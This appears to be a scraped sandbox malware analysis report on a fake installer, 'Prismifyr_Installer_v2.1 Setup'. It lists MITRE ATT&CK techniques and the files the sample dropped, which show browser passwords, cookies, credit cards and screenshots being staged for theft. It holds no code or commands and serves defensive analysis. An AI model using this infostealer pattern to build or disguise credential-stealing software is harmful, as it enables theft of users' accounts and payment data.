Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Passwords\Passwords.txt

C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Autofills\Autofills.txt

C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Bookmarks\Bookmarks.txt

C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Cookies\Google_Default.txt

C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Credit Card\Cards.txt

C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\History\History.txt

C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Passwords\Passwords.txt

C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Screenshots\Screenshot.png

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Vortex_Cookies

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web.db

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\history.db

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\passwords.db

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\webdata.db

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\screenCapture_1.3.2.exe.log

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Vortex_Cookies

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web.db

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\history.db

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\passwords.db

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\webdata.db

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\LICENSE.electron.txt

Windows Analysis Report
Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre